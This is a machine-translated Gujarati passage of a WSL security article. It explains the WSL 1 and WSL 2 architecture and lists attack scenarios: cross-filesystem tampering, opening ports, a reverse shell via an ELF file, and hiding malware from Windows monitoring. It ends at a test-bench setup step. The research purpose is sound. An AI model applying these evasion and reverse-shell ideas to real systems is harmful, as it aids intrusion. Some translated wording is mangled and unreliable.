เชนเซเชฒเซ, เชนเซเชฌเชฐ! OTUS เชเชเซเชเซเชฌเชฐเชฎเชพเช เชเช เชจเชตเซ เชเซเชฐเซเชธ เชธเซเชเซเชฐเซเชฎ เชฒเซเชจเซเช เชเชฐเซ เชเซ
2016 เชฎเชพเช, เชฎเชพเชเชเซเชฐเซเชธเซเชซเซเชเซ IT เชธเชฎเซเชฆเชพเชฏเชจเซ เชจเชตเซ WSL เชเซเชเซเชจเซเชฒเซเชเซ เชฐเชเซ เชเชฐเซ เชนเชคเซ (Wเชเชฆเซเชฏเซเชเซ Sเชฎเชพเชเซ เชฏเซเชฌเชธเชฟเชธเซเชเชฎ Linux), เชเซเชฃเซ เชญเชตเชฟเชทเซเชฏเชฎเชพเช เชธเชพเชฎเชพเชจเซเชฏ เช
เชจเซ เช
เชฆเซเชฏเชคเชจ OS เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพเช: เชตเชฟเชจเซเชกเซเช เช
เชจเซ เชฒเชฟเชจเชเซเชธ เชเชฎ เชฌเชเชจเซเชฎเชพเช เชฒเซเชเชชเซเชฐเชฟเชฏเชคเชพ เชฎเชพเชเซ เชฒเชกเชคเชพ เช
เชเชพเชเชจเชพ เช
เชธเชเชเชค เชธเซเชชเชฐเซเชงเชเซเชจเซ เชเช เชเชฐเชตเชพเชจเซเช เชถเชเซเชฏ เชฌเชจเชพเชตเซเชฏเซเช. เช เชเซเชเซเชจเซเชฒเซเชเซเช Linux OS เชเซเชฒเซเชธเชจเซ Linux เชเชฒเชพเชตเชตเชพเชจเซ เชเชฐเซเชฐ เชตเชเชฐ Windows เชชเชฐเซเชฏเชพเชตเชฐเชฃเชฎเชพเช เชตเชพเชชเชฐเชตเชพเชจเซเช เชถเชเซเชฏ เชฌเชจเชพเชตเซเชฏเซเช, เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ, เชฎเชฒเซเชเชฟ-เชฌเซเชเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ. Habr เชชเชฐ เชคเชฎเซ WSL เชจเซ เชเชชเชฏเซเช เชเชฐเชตเชพเชจเชพ เชซเชพเชฏเชฆเชพเชเชจเซเช เชตเชฐเซเชฃเชจ เชเชฐเชคเชพ เชฎเซเชเซ เชธเชเชเซเชฏเชพเชฎเชพเช เชฒเซเชเซ เชถเซเชงเซ เชถเชเซ เชเซ. เชเซ เชเซ, เชเชฎเชจเชธเซเชฌเซ, เช เชฒเซเชเชจเซ เชฐเชเชจเชพ เชธเชฎเชฏเซ, เช เชธเชเชธเชพเชงเชจ เชชเชฐ เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎเซเชธเชจเชพ เชเชตเชพ เชธเชนเชเซเชตเชจเชจเซ เชธเซเชฐเชเซเชทเชพ เชชเชฐ เชเซเช เช
เชญเซเชฏเชพเชธเซ เชฎเชณเซเชฏเชพเช เชจเชฅเซ. เช เชชเซเชธเซเชเชฎเชพเช เชคเซเชจเซ เชธเซเชงเชพเชฐเชตเชพเชจเซ เชชเซเชฐเชฏเชพเชธ เชเชฐเชตเชพเชฎเชพเช เชเชตเชถเซ. เชฒเซเช WSL 1 เช
เชจเซ 2 เชเชฐเซเชเชฟเชเซเชเซเชเชฐเชจเซ เชตเชฟเชถเซเชทเชคเชพเช เชตเชฟเชถเซ เชตเชพเชค เชเชฐเชถเซ เช
เชจเซ เช เชคเชเชจเซเชเซเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชธเชฟเชธเซเชเชฎเซ เชชเชฐเชจเชพ เชนเซเชฎเชฒเชพเชจเชพ เชเซเชเชฒเชพเช เชเชฆเชพเชนเชฐเชฃเซเชจเซ เชคเชชเชพเชธ เชเชฐเชถเซ. เชฒเซเช 2 เชญเชพเชเซเชฎเชพเช เชตเชนเซเชเชเชพเชฏเซเชฒเซ เชเซ. เชชเซเชฐเชฅเชฎ Linux เช
เชจเซ Windows เชฎเชพเชเชฅเซ เชฎเซเชเซเชฏ เชธเซเชฆเซเชงเชพเชเชคเชฟเช เชนเซเชฎเชฒเซ เชชเชฆเซเชงเชคเชฟเช เชชเซเชฐเชฆเชพเชจ เชเชฐเชถเซ. เชฌเซเชเชพ เชฒเซเชเชฎเชพเช เชชเชฐเซเชเซเชทเชฃ เชตเชพเชคเชพเชตเชฐเชฃ เชเซเช เชตเชตเซเช เช
เชจเซ เชนเซเชฎเชฒเชพเชเชจเซเช เชชเซเชจเชเชเชคเซเชชเชพเชฆเชจ เชเชฐเชตเซเช เชถเชพเชฎเซเชฒ เชนเชถเซ.
WSL 1: เชเชฐเซเชเชฟเชเซเชเซเชเชฐเชฒ เชธเซเชตเชฟเชงเชพเช
WSL เชธเซเชฐเชเซเชทเชพ เชฎเซเชฆเซเชฆเชพเชเชฎเชพเช เชธเซเชฅเซ เชธเชเซเช เชกเชพเชเชต เชฎเชพเชเซ, เชธเชฌเชธเชฟเชธเซเชเชฎเชจเชพ เช เชฎเชฒเซเชเชฐเชฃ เชธเชพเชฅเซ เชธเชเชเชณเชพเชฏเซเชฒ เชฎเซเชเซเชฏ เชเซเชเชเชพเช เชจเชเซเชเซ เชเชฐเชตเซ เชเชฐเซเชฐเซ เชเซ. WSL เชฆเซเชตเชพเชฐเชพ เชเชเซเชฒเชตเชพเชฎเชพเช เชเชตเซเชฒ เชฎเซเชเซเชฏ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เชเชพเชฐเซเชฏเซเชฎเชพเชเชจเซเช เชเช Windows OS เชเชฒเชพเชตเชคเชพ เชนเซเชธเซเช เชชเชฐ Linux เชเชฐเซเชฎเชฟเชจเชฒ เชฆเซเชตเชพเชฐเชพ เชเชพเชฎ เชเชฐเชตเชพเชจเซ เชเซเชทเชฎเชคเชพ เชเซ. เชเชชเชฐเชพเชเชค, เชเชซเชฐ เชเชฐเชพเชฏเซเชฒ เชธเซเชธเชเชเชคเชคเชพ เชเชเชฒเซ เชฎเซเชณ เชนเชคเซ เชเซ Linux เชเชเซเชเชฟเชเซเชฏเซเชเซเชฌเชฒเซเชธ (ELFs) เชธเซเชงเชพ Windows เชธเชฟเชธเซเชเชฎ เชชเชฐ เชเชฒเชพเชตเซ เชถเชเชพเชฏ เชเซ. เช เชงเซเชฏเซเชฏเซ เชนเชพเชเชธเชฒ เชเชฐเชตเชพ เชฎเชพเชเซ, Windows 10 เชฎเชพเช เชเช เชตเชฟเชถเซเชท เชธเชฌเชธเชฟเชธเซเชเชฎ เชฌเชจเชพเชตเชตเชพเชฎเชพเช เชเชตเซ เชนเชคเซ เชเซ เชคเชฎเชจเซ เชเซเชเซเชเชธ เชธเชฟเชธเซเชเชฎ เชเซเชฒเซเชธเชจเชพ เชธเซเชเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ Linux เชเชชเซเชฒเชฟเชเซเชถเชจ เชเชฒเชพเชตเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชเซ - เชเชฎ, Windows เชชเชฐ Linux syscallsเชจเชพ เชธเชฎเซเชนเชจเซ เชฎเซเชช เชเชฐเชตเชพเชจเซ เชชเซเชฐเชฏเชพเชธ เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซ เชนเชคเซ. เช เชญเซเชคเชฟเช เชฐเซเชคเซ เชจเชตเชพ เชกเซเชฐเชพเชเชตเชฐเซ เช เชจเซ เชจเชตเชพ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชซเซเชฐเซเชฎเซเชเชจเซ เชเชฎเซเชฐเซเชจเซ เช เชฎเชฒเชฎเชพเช เชฎเซเชเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช. เชฆเซเชทเซเชเชฟเชจเซ เชฐเซเชคเซ เชเชฐเซเชเชฟเชเซเชเซเชเชฐ เชเชจเชพ เชเซเชตเซเช เชฆเซเชเชพเชคเซเช เชนเชคเซเช:
เชนเชเซเชเชคเชฎเชพเช, Linux เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎ เชธเชพเชฅเซเชจเซ เชเซเชฐเชฟเชฏเชพเชชเซเชฐเชคเชฟเชเซเชฐเชฟเชฏเชพ เชเซเชเชฒเชพเช เชเชฐเซเชจเชฒ เชฎเซเชกเซเชฏเซเชฒเซ เช
เชจเซ เชเช เชเชพเชธ เชชเซเชฐเชเชพเชฐเชจเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ - เชชเซเชเซ เชฆเซเชตเชพเชฐเชพ เชเซเช เชตเชตเชพเชฎเชพเช เชเชตเซ เชนเชคเซ. เชเชชเชฐเชจเชพ เชเชเซเชคเชฟเชฎเชพเชเชฅเซ, เชคเชฎเซ เชเซเช เชถเชเซ เชเซ เชเซ เชนเซเชธเซเช เชชเชฐ Linux เชฆเชพเชเชฒเชพ เชชเชฐ เชเชพเชฒเชคเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชฎเซเชณ เชนเซเชตเซ เชเซเชเช เช
เชจเซ เชจเชฟเชฏเชฎเชฟเชค เชตเชฟเชจเซเชกเซเช เชเชชเซเชฒเชฟเชเซเชถเชจเซเชธ เชเซเชตเชพ เช เชธเชเชธเชพเชงเชจเซเชจเซ เชเชชเชฏเซเช เชเชฐเชตเซ เชเซเชเช. เชชเชฐเชเชคเซ เช เชเซเชตเซ เชฐเซเชคเซ เชชเซเชฐเชพเชชเซเชค เชเชฐเชตเซเช? เชชเซเชฐเซเชเซเชเซเชเชฎเชพเช
เชจเซเชเชง เชเชฐเซ เชเซ เชธเซเชเชฟเชค เช เชฎเซเชฐเซเชคเชคเชพเช เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎ (เชเชพเชธ เชเชฐเซเชจเซ, เชตเชฟเชจเซเชกเซเช) เชชเชฐ เชงเซเชฏเชพเชจ เชเซเชจเซเชฆเซเชฐเชฟเชค เชจ เชเชฐเชตเชพเชจเซเช เชถเชเซเชฏ เชฌเชจเชพเชตเซเชฏเซเช, เชเซเชฎเชพเช เช เชจเซเชฏ OS เชจเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชถเชฐเซ เชฅเชตเชพเชจเซ เช เชชเซเชเซเชทเชพ เชเซ, เช เชจเซ เชธเชพเชฎเชพเชจเซเชฏ เช เชญเชฟเชเชฎ เชธเซเชเชตเซเชฏเซ.
เชเชฎ, เชชเชฟเชเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเซ เช เชเชฆเชฐเชจเซ เชเซเชเชชเชฃ เชเชชเซเชฒเชฟเชเซเชถเชจ เชตเชฟเชจเซเชกเซเช เชเชฐเซเชจเชฒเชจเซ เชงเซเชฏเชพเชจเชฎเชพเช เชฒเซเชงเชพ เชตเชฟเชจเชพ เชเชพเชฒเซ เชถเชเซ เชเซ:
- เชธเชฟเชธเซเชเชฎ เชเซเชฒเซเชธเชจเซ เชธเซเชธเชเชเชคเชคเชพ เช เชจเซ เช เชจเซเชตเชพเชฆเชจเซ เชธเชฎเชธเซเชฏเชพเช เชเชพเชธ เชชเซเชฐเชฆเชพเชคเชพเช เชฆเซเชตเชพเชฐเชพ เชเชเซเชฒเชตเซ เชเชตเชถเซเชฏเช เชเซ;
- เชเชเซเชธเซเชธ เชเชเชเซเชฐเซเชฒ เชธเชฟเชเซเชฏเซเชฐเชฟเชเซ เชฎเซเชจเชฟเชเชฐ เชฆเซเชตเชพเชฐเชพ เชฅเชตเซ เชเซเชเช. เชฎเซเชจเชฟเชเชฐ เชเชฐเซเชจเชฒเชฎเชพเช เชธเซเชฅเชฟเชค เชเซ เช เชจเซ เชคเซเชฅเซ เชตเชฟเชจเซเชกเซเชเชจเซ เชจเชตเชพ เชกเซเชฐเชพเชเชตเชฐเชจเชพ เชฐเซเชชเชฎเชพเช เช เชชเชเซเชฐเซเชกเชจเซ เชเชฐเซเชฐ เชเซ เชเซ เชเชตเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพเช เชฎเชพเชเซ เชชเซเชฐเชฆเชพเชคเชพ เชคเชฐเซเชเซ เชเชพเชฐเซเชฏ เชเชฐเซ เชถเชเซ. เชชเซเชฐเซเชเซเชเชพเชเชช เชชเซเชเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชจเซเชเซ เชฏเซเชเชจเชพเชเซเชฏ เชฐเซเชคเซ เชฐเชเซ เชเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ:
Linux เชซเชพเชเชฒ เชธเชฟเชธเซเชเชฎ เชเซเชธ-เชธเซเชจเซเชธเชฟเชเชฟเชต เชซเชพเชเชฒ เช
เชจเซ เชกเชฟเชฐเซเชเซเชเชฐเซ เชจเชพเชฎเซเชจเซ เชเชชเชฏเซเช เชเชฐเชคเซ เชนเซเชตเชพเชฅเซ, WSL - VolFS เช
เชจเซ DriveFS เชธเชพเชฅเซ เชเชพเชฎ เชเชฐเชตเชพ เชฎเชพเชเซ Windows เชฎเชพเช 2 เชชเซเชฐเชเชพเชฐเชจเซ เชซเชพเชเชฒ เชธเชฟเชธเซเชเชฎ เชเชฎเซเชฐเชตเชพเชฎเชพเช เชเชตเซ เชนเชคเซ. VolFS เช Linux เชซเชพเชเชฒ เชธเชฟเชธเซเชเชฎเชจเซเช เช
เชฎเชฒเซเชเชฐเชฃ เชเซ, DriveFS เช เชเช เชซเชพเชเชฒ เชธเชฟเชธเซเชเชฎ เชเซ เชเซ Windows เชจเชฟเชฏเชฎเซ เช
เชจเซเชธเชพเชฐ เชเชพเชฎ เชเชฐเซ เชเซ, เชชเชฐเชเชคเซ เชเซเชธ เชธเชเชตเซเชฆเชจเชถเซเชฒเชคเชพ เชชเชธเชเชฆ เชเชฐเชตเชพเชจเซ เชเซเชทเชฎเชคเชพ เชงเชฐเชพเชตเซ เชเซ.
เชกเชฌเซเชฒเซเชฏเซเชเชธเชเชฒ 2
WSL 1 เชฎเชพเช เชธเชเชเซเชฏเชพเชฌเชเชง เชฎเชฐเซเชฏเชพเชฆเชพเช เชนเชคเซ เชเซเชฃเซ เชคเซเชจเซ เชฎเชนเชคเซเชคเชฎ เชถเซเชฐเซเชฃเซเชจเชพ เชเชพเชฐเซเชฏเซเชจเซ เชเชเซเชฒเชตเชพ เชฎเชพเชเซ เชเชชเชฏเซเชเชฎเชพเช เชฒเซเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชจ เชนเชคเซ: เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ, เชคเซเชจเซ เชชเชพเชธเซ 32-เชฌเซเช Linux เชเชชเซเชฒเชฟเชเซเชถเชจเซ เชเชฒเชพเชตเชตเชพเชจเซ เชเซเชทเชฎเชคเชพ เชจเชฅเซ, เช เชจเซ เชเชชเชเชฐเชฃ เชกเซเชฐเชพเชเชตเชฐเซเชจเซ เชเชชเชฏเซเช เชเชฐเชตเซ เช เชถเชเซเชฏ เชนเชคเซเช. เชคเซเชฅเซ, 2020 เชฎเชพเช, WSL 2 เชฐเชฟเชฒเซเช เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช, เชเซเชฃเซ เชธเชฌเชธเชฟเชธเซเชเชฎ เชฌเชจเชพเชตเชตเชพเชจเซ เช เชญเชฟเชเชฎ เชฌเชฆเชฒเซเชฏเซ เชนเชคเซ. WSL 2 เช เชเช เชเชชเซเชเชฟเชฎเชพเชเช เชตเชฐเซเชเซเชฏเซเช เชฒ เชฎเชถเซเชจ เชเซ เชเซ WSL 1 เชจเซ เชธเชเชธเชพเชงเชจ เชตเชชเชฐเชพเชถ เชฒเชพเชเซเชทเชฃเชฟเชเชคเชพเช เชธเชพเชฅเซ เชฎเซเชณ เชเชพเชฏ เชเซ. เชนเชตเซ, Windows OS เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เชฆเซเชตเชพเชฐเชพ เชนเชฒ เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฒเซ เชธเชฎเชธเซเชฏเชพเชเชจเชพ เชเชงเชพเชฐเซ, เชคเชฎเซ Linux เชธเชฌเชธเชฟเชธเซเชเชฎเชจเซเช เชเชฐเซเชฐเซ เชธเชเชธเซเชเชฐเชฃ เชชเชธเชเชฆ เชเชฐเซ เชถเชเซ เชเซ. เชธเชเชญเชตเชฟเชค เชจเชฌเชณเชพเชเชเชจเซ เชเชเชพเชกเชตเชพ เชฎเชพเชเซ, WSL 2 เชจเซ Windows 10 เชฎเชพเช Hyper-V เชชเชฐ เชเชงเชพเชฐเชฟเชค เช เชฎเชฒเชฎเชพเช เชฎเซเชเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช. เช เชธเซเชตเชฐเซเชชเชฎเชพเช, Windows เชชเชพเชธเซ Linux เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎ เชเชฐเซเชจเชฒเชจเซ เชเชเชฒเชคเชพเชฎเชพเช เชเชฒเชพเชตเชตเชพเชจเซ เชเซเชทเชฎเชคเชพ เชเซ. เชคเซ เชฏเชพเชฆ เชฐเชพเชเชตเซเช เชฏเซเชเซเชฏ เชเซ เชเซ WSL เชจเซเช เชตเชฐเซเชเชจ 1 เชฌเซเชเชพ เชซเซเชเชฐ เชคเชฐเซเชเซ เชฐเชเซ เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช เชเซ เช เชตเชฟเชธเซเชคเชพเชฐเชฎเชพเช เชตเชฟเชจเซเชกเซเช เชกเซเชตเชฒเชชเชฎเซเชจเซเชเชจเซ เชฆเชฟเชถเชพ เชฆเชฐเซเชถเชพเชตเชคเซเช เชนเชคเซเช, เชคเซเชฅเซ เชนเชพเชฏเชชเชฐ-เชตเซเชฎเชพเช เชธเชเชเซเชฐเชฎเชฃ เช เชจเชฟเชตเชพเชฐเซเชฏ เชนเชคเซเช. เช เชเชคเชฟเชฎ เชเชฐเซเชเชฟเชเซเชเซเชเชฐ เชเชจเชพ เชเซเชตเซเช เชฒเชพเชเซ เชเซ:
เช เชธเชเชธเซเชเชฐเชฃเชฎเชพเช, เชตเชฟเชจเซเชกเซเช เช
เชจเซ เชฒเชฟเชจเชเซเชธ เชเชฐเซเชจเชฒเซเชจเชพ เชชเซเชคเชพเชจเชพ เชธเชเชธเชพเชงเชจเซ เชเซ เช
เชจเซ เชเชเชคเชฐเชเซเชฆ เชซเชเซเชค เชซเชพเชเชฒ เชธเชฟเชธเซเชเชฎเชฎเชพเช เช เช
เชธเซเชคเชฟเชคเซเชตเชฎเชพเช เชเซ, เชชเชฐเชเชคเซ เช เชเชเชคเชฐเชเซเชฆ เชชเซเชฐเซเชฃ เชจเชฅเซ. เชซเชพเชเชฒ เชธเชฟเชธเซเชเชฎเซ เชตเชเซเชเซเชจเซ เชเซเชฐเชฟเชฏเชพเชชเซเชฐเชคเชฟเชเซเชฐเชฟเชฏเชพ เชเซเชฒเชพเชฏเชเช-เชธเชฐเซเชตเชฐ เชฐเซเชชเชฐ เชฆเซเชตเชพเชฐเชพ เชนเชพเชฅ เชงเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ เชเซ 9P เชชเซเชฐเซเชเซเชเซเชฒเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชเชพเชฐเซเชฏ เชเชฐเซ เชเซ.
เชเชเซ เชฎเชพเชเชเซเชฐเซเชธเซเชซเซเช WSL 1 เช เชจเซ WSL 2 เชตเชเซเชเซ เชธเซเชตเชฟเช เชเชฐเชตเชพเชจเซ เชเซเชทเชฎเชคเชพ เชชเซเชฐเซ เชชเชพเชกเซ เชเซ. เชฌเชเชจเซ เชตเชฐเซเชเชจ เชเชชเชฏเซเช เชฎเชพเชเซ เชเชชเชฒเชฌเซเชง เชเซ.
WSL เชธเซเชฐเชเซเชทเชพ
เช เชเซเชทเชฃเซ, เชธเชฌเชธเชฟเชธเซเชเชฎเซเชธ เชตเชเซเชเซเชจเชพ เชธเชเชฆเซเชถเชพเชตเซเชฏเชตเชนเชพเชฐ เชชเชฐ เชนเซเชฎเชฒเซ เชเชฐเชตเชพ เชฎเชพเชเซ เชเชพเชฏเชฆเซเชธเชฐ OS เชเซเชฒเซเชธเชจเซ เชเชชเชฏเซเช เชเชฐเชตเชพเชจเชพ เชเซเชเชฒเชพเช เช เชญเชฟเชเชฎเซเชจเซเช เชตเชฐเซเชฃเชจ เชเชฐเชคเชพ เชเชฃเชพ เชเชพเชฐเซเชฏเซ เชเซ. เชฒเซเชเชจ เชธเชฎเชฏเซ เชนเซเชฎเชฒเชพเชเชจเซ เชธเซเชธเชเชเชคเชคเชพ เชเชเชพเชธเชตเชพ เชฎเชพเชเซ เช เชฎเซ เชคเซเชฎเชจเซ เชธเซเชเซเชฐเชฟเชชเซเชเชจเซ เชเชชเชฏเซเช เชเชฐเซเชถเซเช. เชนเซเชฎเชฒเชพเช เช เชจเซ เชฆเซเชถเซเชฏเซเชจเซ เชธเชพเชฎเชพเชจเซเชฏ เชธเซเชเชฟ:
1. เชซเชพเชเชฒ เชธเชฟเชธเซเชเชฎ เช เชฎเชฒเซเชเชฐเชฃ: เชเชเซเชธเซเชธ เช เชงเชฟเชเชพเชฐเซ, เชตเชนเซเชเชเชพเชฏเซเชฒ เชกเชฟเชฐเซเชเซเชเชฐเซเช/เชกเซเชเชพ เชเชเซเชธเชเซเชจเซเช เชฎเชฟเชเซเชจเชฟเชเชฎเซเชธเชจเซ เชเชชเชฒเชฌเซเชงเชคเชพ.
เชจเชพ เชเชเซเชธเซเชธ เชจเชฟเชฏเชฎเซเชจเชพ เชเชฒเซเชฒเชเชเชจเชจเซ เชจเชฟเชฐเซเชงเชพเชฐเชฟเชค เชเชฐเชตเชพ เชฎเชพเชเซ เชธเชเชถเซเชงเชจ เชนเชพเชฅ เชงเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช Linux FS->Windows FS, Windows FS->Linux FS. เชธเชเชถเซเชงเชจเซ เชฒเชเซเชทเซเชฏ OS เชจเซ เช เชเชฆเชฐ เชเชชเซเชฒ เชซเชพเชเชฒเชจเซ เชธเชเชถเซเชงเชฟเชค เชเชฐเชตเชพเชจเซ เชเซเชทเชฎเชคเชพ เชฆเชฐเซเชถเชพเชตเซ เชเซ. เช เชตเซเชเซ, เชกเซเชชเซเชฒเชฟเชเซเชเซเชธ เชฌเชจเชพเชตเชตเชพ เช เชจเซ เชซเชพเชเชฒ เชธเชฟเชธเซเชเชฎเชจเชพ เชญเชพเชเชจเซ เชเชพเชขเซ เชจเชพเชเชตเชพเชจเชพ เชชเซเชฐเชฏเชพเชธเซ เชชเชฃ เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเชพ เชนเชคเชพ.
เชฆเซเชถเซเชฏ:
- A. เชตเชฟเชจเซเชกเซเช เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎเชฅเซ เชนเซเชฎเชฒเซ - Linux OS เชจเซ /etc เชกเชฟเชฐเซเชเซเชเชฐเซเชฎเชพเชเชฅเซ เชซเชพเชเชฒเซเชฎเชพเช เชซเซเชฐเชซเชพเชฐ.
- B. Linux เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎเชฎเชพเชเชฅเซ เชนเซเชฎเชฒเซ - เชกเชฟเชฐเซเชเซเชเชฐเซเชเชฎเชพเช เชซเชพเชเชฒเซเชฎเชพเช เชซเซเชฐเชซเชพเชฐ:
C:Windows
,C:Program Files
,C:Users<User>
2. เชจเซเชเชตเชฐเซเช เชธเซเชเซเชเชจเซเช เช เชฎเชฒเซเชเชฐเชฃ.
เชตเชฟเชจเซเชกเซเช เชชเชฐ Linux เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎเชจเชพ เชนเซเชฎเชฒเชพเชจเชพ เชเชฆเชพเชนเชฐเชฃเซเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชธเชเชถเซเชงเชจ เชนเชพเชฅ เชงเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช. เชจเซเชเชตเชฐเซเช เชธเซเชเซเชเชจเซ เชตเชฟเชถเซเชทเชคเชพเชเชจเซ เชเชชเชฏเซเช เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซ เชนเชคเซ, เชเชเชฒเซ เชเซ, เชตเชฟเชตเชฟเชง เชธเชเชธเชพเชงเชจเซ เชชเชฐ เชชเซเชฐเชฎเชพเชฃเซเชเชฐเชฃ เชชเชฆเซเชงเชคเชฟเช.
เชฆเซเชถเซเชฏ:
- เชตเชฟเชจเซเชกเซเช เชธเชฟเชธเซเชเชฎ เชชเชฐ เชเชฌเชเซ เชงเชฐเชพเชตเชคเชพ เชชเซเชฐเซเชเชจเซ เชเชเซเชธเซเชธ เชเซเชฒเชตเซ
- เชฏเซเชเซเชฏ เช เชงเชฟเชเชพเชฐเซ เชตเชฟเชจเชพ เชฌเชเชฆเชฐ เชเซเชฒเชตเซเช
- เชตเชฟเชจเซเชกเซเช เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎ เชชเชฐ เชเชฒเซเชซ เชซเชพเชเชฒเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชฐเชฟเชตเชฐเซเชธ เชถเซเชฒ เชเชฒเชพเชตเชตเซเช.
3. เชกเชฌเซเชฒเซเชฏเซเชเชธเชเชฒ เชธเชฌเชธเชฟเชธเซเชเชฎเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชฆเซเชทเชฟเชค เชธเซเชซเซเชเชตเซเชฐ เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชเชจเชพ เชฒเซเชจเซเชเชจเซ เชเซเชชเชพเชตเซ เชฐเชนเซเชฏเซเช เชเซ.
เชธเชเชถเซเชงเชจ เชเช เชธเชฐเชณ เชนเชเซเชเชค เชชเชฐ เชเชงเชพเชฐเชฟเชค เชนเชคเซเช - เชธเซเชฐเชเซเชทเชพ เชธเชฌเชธเชฟเชธเซเชเชฎ เช เชจเซเชฏ เชเชฐเซเชจเชฒเชฎเชพเช เชเชตเซเชจเซเชเซเชธเชจเซ เช เชเชเชพเชตเซ เชถเชเชคเซ เชจเชฅเซ เชเซ WSL 1 เชจเชพ เชเชฟเชธเซเชธเชพเชฎเชพเช เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎเชฎเชพเชเชฅเซ เชเชพเชฏเชฆเซเชธเชฐ เชชเซเชฐเชฆเชพเชคเชพเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชเชพเชฐเซเชฏ เชเชฐเซ เชเซ. WSL 2 เชจเชพ เชเชฟเชธเซเชธเชพเชฎเชพเช, เชเชเชจเชพเช เชเซเชตเชพเชจเซ เชเซเช เชฐเซเชค เชจเชฅเซ. เชนเชณเชตเชพ เชตเชเชจเชจเชพ เชตเชฐเซเชเซเชฏเซเช เชฒ เชฎเชถเซเชจเชจเซ เช เชเชฆเชฐ เช เชฒเช เชเชฐเซเชจเชฒเชฎเชพเช.
เชฆเซเชถเซเชฏ:
1) เชธเชฟเชธเซเชเชฎเชฎเชพเช เชฐเซเชฎเซเช เชเชเซเชธเซเชธ เชฎเชพเชเซ เชเชชเซเชฒเชฟเชเซเชถเชจ เชฒเซเชเช เชเชฐเซ เช เชจเซ เชฒเซเช เชฅเชฏเซเชฒ เชเชตเซเชจเซเชเซเชธ เชเซเช.
WSL 1 เชชเซเชฐเชฏเซเชเซ: เชนเซเชถ เชเชจเซเชเชฐเชธเซเชชเซเชถเชจ (เชตเชฟเชจเซเชกเซเช)
เชเซเชตเชเซ เช เชฎเซ เชตเซเชฏเชตเชนเชพเชฐเชฟเช เชญเชพเช เชชเชฐ เชชเชนเซเชเชเซเชฏเชพ. เชชเซเชฐเชฅเชฎ, เชคเชฎเชพเชฐเซ เชชเชฐเซเชเซเชทเชฃ เชตเชพเชคเชพเชตเชฐเชฃ เชธเซเช เชเชฐเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ. เชฌเชงเชพ เชชเซเชฐเชฏเซเชเซ เชตเชฟเชจเซเชกเซเช 10 2004 เชเชจเซเชธเซเชเซเชฒ เชเชฐเซเชฒ เชฌเซเชจเซเช เชชเชฐ เชนเชพเชฅ เชงเชฐเชตเชพเชฎเชพเช เชเชตเชถเซ. WSL เชฎเชพเชเซ Ubuntu 18.04 เชเชฎเซเชเชจเซ เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎ เชเชฎเซเช เชคเชฐเซเชเซ เชชเชธเชเชฆ เชเชฐเชตเชพเชฎเชพเช เชเชตเซ เชนเชคเซ. เชเชฌเซ เชฐเซเชจเซเชกเชฎ เชชเชฐ เชชเชธเชเชฆ เชเชฐเชตเชพเชฎเชพเช เชเชตเซ เชนเชคเซ, เช เชจเซ เชเซเชเชชเชฃ เช เชจเซเชฏ เชธเชฎเชพเชจ เชเชพเชฐเซเชฏ เชเชฐเชถเซ. เชธเซเชเซเชจเซเชก เชธเซเช เชเชฐเชตเชพ เชฎเชพเชเซเชจเชพ เชเชฆเซเชถเซ:
เชคเชฎเชพเชฐเซ เชชเชนเซเชฒเชพ เชฒเซเชจเซเช เชเชฐเชตเซเช เชชเชกเชถเซ powershell.exe
เชธเชเชเชพเชฒเช เชคเชฐเซเชเซ.
WSL 1 เชฎเชพเชเซ เชคเชฎเชพเชฐเซ เชเชฆเซเชถเซ เชเชฒเชพเชตเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ะะบะปััะธัั ััะฝะบัะธั WSL
